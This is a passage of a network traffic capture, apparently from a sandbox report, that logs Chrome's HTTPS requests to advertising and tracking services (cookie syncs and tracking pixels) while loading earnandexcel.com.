2024-04-11 21:27:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.17	50448	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	842	OUT	GET /merge?3pid=OPUc07649b3c185472a86453f2ba9a61d55&gdpr=0&gdpr_consent=&pid=103 HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D
2024-04-11 21:27:07 UTC	906	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: image/gif Content-Length: 43 Connection: close Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: _ljtrtb_103=OPUc07649b3c185472a86453f2ba9a61d55; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID"
2024-04-11 21:27:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.17	50455	35.190.39.111	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	347	OUT	GET /encrypt HTTP/1.1 Host: esp.rtbhouse.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	311	IN	HTTP/1.1 405 Method Not Allowed content-type: application/json x-cloud-trace-context: 55793544317e9c644c717f03a9278e11 date: Thu, 11 Apr 2024 21:27:07 GMT server: Google Frontend Content-Length: 31 via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:07 UTC	31	IN	Data Raw: 7b 22 64 65 74 61 69 6c 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 22 7d Data Ascii: {"detail":"Method Not Allowed"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.17	50425	35.170.134.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	471	OUT	GET /api/v1/dsync/Martin?exid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1 Host: crb.kargo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ktcid=12d186d5-c065-0a8a-5399-4c540288d0a1
2024-04-11 21:27:07 UTC	456	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Set-Cookie: ktcid=12d186d5-c065-0a8a-5399-4c540288d0a1; Path=/; Domain=kargo.com; Expires=Fri, 11 Apr 2025 21:27:07 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0
2024-04-11 21:27:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.17	50454	54.83.194.95	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	991	OUT	GET /qmap?c=1389&tp=STSC&tpid=08375435-4bac-4a12-9c28-185426f7e004-661855a8-5553&gdpr=0&gdpr_consent=&d=https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Fpush%3Fpartner_id%3D2499%26partner_device_id%3D08375435-4bac-4a12-9c28-185426f7e004-661855a8-5553%26partner_url%3Dhttps%253A%252F%252Fce.lijit.com%252Fmerge%253Fpid%253D16%25263pid%253D08375435-4bac-4a12-9c28-185426f7e004-661855a8-5553%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1 Host: sync.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	793	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Length: 0 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.40.6.14 Set-Cookie: _cc_cc=ctst;Path=/;Domain=crwdcntrl.net;SameSite=None;Secure Location: https://sync.crwdcntrl.net/qmap?c=1389&tp=STSC&tpid=08375435-4bac-4a12-9c28-185426f7e004-661855a8-5553&gdpr=0&gdpr_consent=&d=https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Fpush%3Fpartner_id%3D2499%26partner_device_id%3D08375435-4bac-4a12-9c28-185426f7e004-661855a8-5553%26partner_url%3Dhttps%253A%252F%252Fce.lijit.com%252Fmerge%253Fpid%253D16%25263pid%253D08375435-4bac-4a12-9c28-185426f7e004-661855a8-5553%2526gdpr%253D0%2526gdpr_consent%253D&ct=y Server: Jetty(9.4.38.v20210224)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.17	50395	35.186.253.211	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	764	OUT	GET /sync/dds HTTP/1.1 Host: rtb.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870823933947; pd=v2\|1712870819.5\|iKbwvPvMgahEgKkWg2gy.mmuYeSwrf8wI
2024-04-11 21:27:07 UTC	443	IN	HTTP/1.1 302 Found Cache-Control: private, max-age=0, no-cache, must-revalidate Content-Type: text/html; charset=utf-8 Location: https://cm.g.doubleclick.net/pixel?google_nid=open&google_hm=ShP6X7-Ty3gcqvKnCKfCUg==&ox_sc=1&ox_init=1 P3p: CP="CUR ADM OUR NOR STA NID" Pragma: no-cache Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Length: 138 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:07 UTC	138	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 6f 70 65 6e 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 68 6d 3d 53 68 50 36 58 37 2d 54 79 33 67 63 71 76 4b 6e 43 4b 66 43 55 67 3d 3d 26 61 6d 70 3b 6f 78 5f 73 63 3d 31 26 61 6d 70 3b 6f 78 5f 69 6e 69 74 3d 31 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://cm.g.doubleclick.net/pixel?google_nid=open&google_hm=ShP6X7-Ty3gcqvKnCKfCUg==&ox_sc=1&ox_init=1">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.17	50366	18.205.145.170	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	722	OUT	GET /pixel.gif?ch=4&cm=8acb4486-446f-4e18-8c4b-25513f8cf6d9&redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537073026%26val%3D%7Bvisitor_id%7D HTTP/1.1 Host: aorta.clickagy.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	938	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: text/plain Content-Length: 0 Connection: close server: Aorta/20240411.87492ee27 X-Aorta-Host: 78683cd48d34 X-Aorta-Region: us-east-1 access-control-allow-credentials: true access-control-allow-headers: Origin,cache-control,content-type,man,messagetype,soapaction access-control-expose-headers: Set-Cookie access-control-allow-methods: POST, GET, OPTIONS access-control-allow-origin: * access-control-max-age: 31536000 cache-control: no-cache, no-store, must-revalidate expect: 0 Location: https://us-u.openx.net/w/1.0/sd?id=537073026&val=ZhhVq1_h0viAGBt5rWGu1Rxr set-cookie: cb=ZhhVq1_h0viAGBt5rWGu1Rxr; Max-Age=63027504; Expires=Sat, 11 Apr 2026 09:05:31 GMT; Path=/; Domain=.clickagy.com; SameSite=None; Secure set-cookie: chs=[{"ch":"4","t":"2024-04-11 21:27:07"}]; Max-Age=63027504; Expires=Sat, 11 Apr 2026 09:05:31 GMT; SameSite=None; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.17	50465	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	727	OUT	POST /p HTTP/1.1 Host: tr6.snapchat.com Connection: keep-alive Content-Length: 922 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sc_at=v2\|H4sIAAAAAAAAAE3GwRHAIAgEwIqY4U4QTDeCkyosPt/sa2eVtZlL+Rlihy0LM2UN1uaO9jcuTB8EmKEJ3l/1AwRuylhAAAAA
2024-04-11 21:27:07 UTC	922	OUT	Data Raw: 7b 22 63 74 78 22 3a 7b 22 62 74 22 3a 22 31 64 35 33 63 33 38 37 22 2c 22 63 31 22 3a 22 63 38 63 32 66 37 35 33 2d 64 64 63 62 2d 34 33 66 61 2d 62 35 32 38 2d 64 31 63 63 62 63 39 63 65 31 37 63 22 2c 22 6c 63 22 3a 22 33 31 35 63 66 32 33 33 2d 61 61 62 37 2d 34 32 63 36 2d 61 66 64 32 2d 61 64 63 38 34 32 36 33 30 63 30 36 22 2c 22 6c 73 22 3a 22 33 38 61 65 39 61 39 30 2d 66 35 34 30 2d 34 35 35 35 2d 61 36 35 33 2d 30 37 37 32 32 62 30 35 65 66 63 66 22 2c 22 72 22 3a 22 64 39 31 38 38 66 39 63 2d 64 35 34 36 2d 34 36 35 64 2d 38 66 64 62 2d 63 39 65 35 64 66 33 36 61 33 64 36 22 2c 22 73 73 22 3a 22 62 66 61 38 36 63 66 32 2d 37 32 38 34 2d 34 64 38 63 2d 39 32 39 66 2d 39 35 39 37 63 31 38 38 33 66 36 38 22 2c 22 64 66 22 3a 74 72 75 65 2c 22 73 Data Ascii: {"ctx":{"bt":"1d53c387","c1":"c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c","lc":"315cf233-aab7-42c6-afd2-adc842630c06","ls":"38ae9a90-f540-4555-a653-07722b05efcf","r":"d9188f9c-d546-465d-8fdb-c9e5df36a3d6","ss":"bfa86cf2-7284-4d8c-929f-9597c1883f68","df":true,"s
2024-04-11 21:27:07 UTC	429	IN	HTTP/1.1 200 OK date: Thu, 11 Apr 2024 21:27:07 GMT strict-transport-security: max-age=31536000; includeSubDomains; preload strict-transport-security: max-age=31536000; includeSubDomains Content-Length: 0 x-envoy-upstream-service-time: 0 server: API Gateway alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.17	50472	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	2003	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=uJS8wzsvUNNALSsYHAMcYJySJMU&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; pi=0:4; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; PugT=1712870823
2024-04-11 21:27:07 UTC	709	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_860=16335-uJS8wzsvUNNALSsYHAMcYJySJMU&KRTB&23334-uJS8wzsvUNNALSsYHAMcYJySJMU&KRTB&23417-uJS8wzsvUNNALSsYHAMcYJySJMU&KRTB&23426-uJS8wzsvUNNALSsYHAMcYJySJMU; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:06 GMT; path=/ Set-Cookie: PugT=1712870826; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:06 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:07 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.17	50452	50.16.98.63	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	659	OUT	POST /web/visit?fpid=206267d9-9ab6-4813-85fd-6fa35eafc3ec HTTP/1.1 Host: pdmp.dcapi.tagger.opecloud.com Connection: keep-alive Content-Length: 181 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	181	OUT	Data Raw: 7b 22 6f 70 65 5f 63 68 61 6e 6e 65 6c 22 3a 22 74 61 67 67 65 72 22 2c 22 6f 70 65 5f 65 76 65 6e 74 5f 74 79 70 65 22 3a 22 6f 70 65 5f 76 69 73 69 74 22 2c 22 6f 70 65 5f 69 74 65 6d 5f 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 22 2c 22 6f 70 65 5f 72 65 66 22 3a 22 22 2c 22 6f 70 65 5f 64 63 5f 72 65 67 69 6f 6e 22 3a 22 75 73 2d 65 61 73 74 2d 31 22 2c 22 63 6d 70 73 74 61 74 75 73 22 3a 22 6e 6f 74 72 65 71 75 69 72 65 64 22 2c 22 6f 70 65 5f 74 65 6e 61 6e 74 22 3a 22 62 34 22 7d Data Ascii: {"ope_channel":"tagger","ope_event_type":"ope_visit","ope_item_uri":"https://earnandexcel.com/","ope_ref":"","ope_dc_region":"us-east-1","cmpstatus":"notrequired","ope_tenant":"b4"}
2024-04-11 21:27:07 UTC	256	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 4 Connection: close Access-Control-Allow-Origin: https://earnandexcel.com Access-Control-Allow-Credentials: true Server: akka-http/10.2.8
2024-04-11 21:27:07 UTC	4	IN	Data Raw: 66 70 69 64 Data Ascii: fpid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.17	50460	18.164.124.67	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	647	OUT	GET /live/liveCS.php?source=external&advId=100&advUuid=LUVR2A3B-N-5ZEP HTTP/1.1 Host: live.primis.tech Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	812	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close server: nginx date: Thu, 11 Apr 2024 21:27:06 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: no-store pragma: no-cache set-cookie: csuuid=661855aba10f1; expires=Mon, 06-May-2024 21:27:07 GMT; Max-Age=2160000; path=/; domain=.primis.tech; secure; SameSite=None location: https://sync.intentiq.com/profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=793790479&3rddpi=1725065545&3rdpcid=LUVR2A3B-N-5ZEP X-Cache: Miss from cloudfront Via: 1.1 cd1a98ac42a21b663c8fc8cd6f37232e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 1O5FpMRoxakQge9ARptPJTMbOJIBp6cfLObjFVpbjEiI70A6u_IAbg== Age: 0
2024-04-11 21:27:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.17	50478	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	659	OUT	GET /merge?pid=76&3pid=f9abaea3-fca1-485b-bd62-08b6a30fc7ba&gdpr=0&gdpr_consent= HTTP/1.1 Host: ce.lijit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D; _ljtrtb_76=f9abaea3-fca1-485b-bd62-08b6a30fc7ba
2024-04-11 21:27:07 UTC	1238	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: image/gif Content-Length: 43 Connection: close Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: _ljtrtb_76=f9abaea3-fca1-485b-bd62-08b6a30fc7ba; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0;Secure;SameSite=None Set-Cookie: ljtrtb=eJyrVjI3U7JSSrNMTEpMTTTWTUtONNQ1sTBN0k1KMTPSNbBIMks0NkhLNk9KVKoFAB4aDKs%3D; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: _ljtrtb_76=f9abaea3-fca1-485b-bd62-08b6a30fc7ba; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID"
2024-04-11 21:27:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.17	50462	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	1004	OUT	GET /sid/json?origin=publishertagids&domain=earnandexcel.com&sn=ChromeSyncframe&so=2&topUrl=earnandexcel.com&bundle=7odPaV9OMTU3WG1Nak5XeHJCS1Q0ejlLWVF2Nm5XZzkxSjAwRHRQczkwUUFIc2YxZ0FpcDNId3NObVZibURoYmpJVXI5UGtsNVRRZW80UCUyRkpiRSUyRkNrcFNSbDQ0Y1ROekp4QzlSSGs1Q0lSOWhNdzFYU09mQW0yY1AlMkJLRFRkcnBsM09TWg&cw=1&lsw=1&topicsavail=1&fledgeavail=1 HTTP/1.1 Host: gum.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: 